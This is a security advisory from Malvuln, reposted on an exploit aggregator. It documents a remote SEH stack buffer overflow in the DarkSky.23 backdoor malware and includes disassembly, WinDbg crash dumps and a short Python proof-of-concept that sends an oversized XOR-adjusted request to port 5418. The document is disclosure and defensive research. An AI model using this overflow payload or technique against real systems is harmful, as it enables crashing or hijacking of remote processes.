Share 
## https://sploitus.com/exploit?id=PACKETSTORM:168735
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/1164ef21ef2af97e0339359c0dce5e7d.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.DarkSky.23  
Vulnerability: Remote Stack Buffer Overflow (SEH)  
Description: The malware listens on TCP port 5418. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting EDX register and Structured Exception Handler (SEH). In order to see the typical exploit pattern of "\x41" "AAAA" we need to actually send "\x50" as there is an loop that performs an XOR converting our payload. Therefore, if we send "AAAAAAAA" we will get "PPPPPPPP", the malware performs the XOR with the value of 11.  
Family: DarkSky  
Type: PE32  
MD5: 1164ef21ef2af97e0339359c0dce5e7d  
Vuln ID: MVID-2022-0648  
Dropped files: SysArchive.exe, KNREL32.exe, notepade.exe  
ASLR: False  
DEP: False  
CFG: False  
Safe SEH: False  
Disclosure: 10/15/2022  
  
Example:  
  
0040134A | 80 34 31 11 | xor byte ptr ds:[ecx+esi],11 | ;XOR converting the payload happens here.  
0040134E | 41 | inc ecx |  
0040134F | 3B C8 | cmp ecx,eax |  
00401351 | 7C F7 | jl sysarchive.40134A |  
00401353 | 5E | pop esi |  
00401354 | C3 | ret |  
  
  
Python test...  
  
>>> 0x41 ^ 0x11  
80  
>>> hex(80)  
'0x50'  
>>> chr(0x50)  
'P'  
  
GET /AAAAA will then become all "P" ...  
  
0019D24C 56 54 45 31 3E 50 50 50 50 50 41 41 41 41 41 41 VTE1>PPPPPAAAAAA   
0019D25C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA   
0019D26C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA   
0019D27C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA   
0019D28C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA   
  
So to get our \x41 pattern we need to supply \x50, the malware will XOR it with 0x11 giving us \x41.  
  
>>> 0x50 ^ 0x11  
65  
>>> hex(65)  
'0x41'  
>>> chr(65)  
'A'  
  
EAX : 7EFEFEFE  
EBX : 02902A58  
ECX : 0019F4B0  
EDX : 41414141  
EBP : 0019D230  
ESP : 0019D214  
ESI : 0019D777  
EDI : 0019FF81  
EIP : 7451561B msvcrt.7451561B  
  
  
Finally we see our desired exploit payload converted from \x50 'P' to \x41 or "A"   
  
0019D240 08 DF 8E 02 08 DF 8E 02 01 00 00 00 56 54 45 31 .รŸ...รŸ......VTE1   
0019D250 3E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 >AAAAAAAAAAAAAAA   
0019D260 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA   
0019D270 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA   
0019D280 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 50 AAAAAAAAAAAAAAAP   
0019D290 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPPPPPPPPPPPP   
0019D2A0 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPPPPPPPPPPPP  
  
  
Memory Dump:  
(2798.242c): Stack buffer overflow - code c0000409 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=0019f52c edx=41414141 esi=00000000 edi=00000002  
eip=7770ed3c esp=0019cb60 ebp=0019cba0 iopl=0 nv up ei pl nz ac pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216  
ntdll!ZwWaitForMultipleObjects+0xc:  
7770ed3c c21400 ret 14h  
  
0:000> .ecxr  
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd  
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
msvcrt!strcat+0x89:  
74515619 8917 mov dword ptr [edi],edx ds:002b:0019fffd=41000000  
*** WARNING: Unable to verify checksum for SysArchive.exe  
*** ERROR: Module load completed but symbols could not be loaded for SysArchive.exe  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
msvcrt!strcat+89  
74515619 8917 mov dword ptr [edi],edx  
  
EXCEPTION_RECORD: 0019cd64 -- (.exr 0x19cd64)  
ExceptionAddress: 74515619 (msvcrt!strcat+0x00000089)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000008  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 001a0000  
Attempt to write to address 001a0000  
  
PROCESS_NAME: SysArchive.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.  
  
EXCEPTION_PARAMETER1: 00000015  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 70  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
CHKIMG_EXTENSION: !chkimg -lo 50 -d !msvcrt  
74515590 - msvcrt!strcat  
[ 8b:cc ]  
74515617 - msvcrt!strcat+87 (+0x87)  
[ eb:cc ]  
2 errors : !msvcrt (74515590-74515617)  
  
CONTEXT: 0019cdb4 -- (.cxr 0x19cdb4)  
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd  
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
msvcrt!strcat+0x89:  
74515619 8917 mov dword ptr [edi],edx ds:002b:0019fffd=41000000  
Resetting default scope  
  
WRITE_ADDRESS: 001a0000   
  
FOLLOWUP_IP:   
msvcrt!strcat+89  
74515619 8917 mov dword ptr [edi],edx  
  
FAULTING_THREAD: 0000242c  
  
BUGCHECK_STR: APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141  
  
LAST_CONTROL_TRANSFER: from 00404ed7 to 74515619  
  
STACK_TEXT:   
0019d214 00404ed7 0019e24c 0019d777 0019d238 msvcrt!strcat+0x89  
WARNING: Stack unwind information not available. Following frames may be wrong.  
0019d230 00402394 00004128 0019e24c 04ed39f8 SysArchive+0x4ed7  
0019f9e8 41414141 41414141 41414141 41414141 SysArchive+0x2394  
0019f9ec 41414141 41414141 41414141 41414141 0x41414141  
0019f9f0 41414141 41414141 41414141 41414141 0x41414141  
0019f9f4 41414141 41414141 41414141 41414141 0x41414141  
0019f9f8 41414141 41414141 41414141 41414141 0x41414141  
0019f9fc 41414141 41414141 41414141 41414141 0x41414141  
0019fa00 41414141 41414141 41414141 41414141 0x41414141  
0019fa04 41414141 41414141 41414141 41414141 0x41414141  
0019fa08 41414141 41414141 41414141 41414141 0x41414141  
0019fa0c 41414141 41414141 41414141 41414141 0x41414141  
0019fa10 41414141 41414141 41414141 41414141 0x41414141  
0019fa14 41414141 41414141 41414141 41414141 0x41414141  
0019fa18 41414141 41414141 41414141 41414141 0x41414141  
0019fa1c 41414141 41414141 41414141 41414141 0x41414141  
0019fa20 41414141 41414141 41414141 41414141 0x41414141  
0019fa24 41414141 41414141 41414141 41414141 0x41414141  
0019fa28 41414141 41414141 41414141 41414141 0x41414141  
0019fa2c 41414141 41414141 41414141 41414141 0x41414141  
0019fa30 41414141 41414141 41414141 41414141 0x41414141  
...  
  
SYMBOL_NAME: memory_corruption!msvcrt  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: memory_corruption  
  
IMAGE_NAME: memory_corruption  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 0  
  
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; .cxr 0x19cdb4 ; kb  
  
FAILURE_BUCKET_ID: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_memory_corruption!msvcrt  
  
BUCKET_ID: APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_memory_corruption!msvcrt  
  
0:000> !exchain  
0019cc18: ntdll!_except_handler4+0 (77716a50)  
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (777557ad)  
0019f9dc: 41414141  
Invalid exception stack at 41414141  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=5418  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
JUNK="GET /"+"\x50"*1300+"HTTP/1.1\r\nHost:29"+"\x50"*10000  
PAYLOAD=JUNK+"\r\n\r\n"  
  
s.send(PAYLOAD)  
s.close()  
print("Backdoor DarkSky.23 Exploit By malvuln")  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).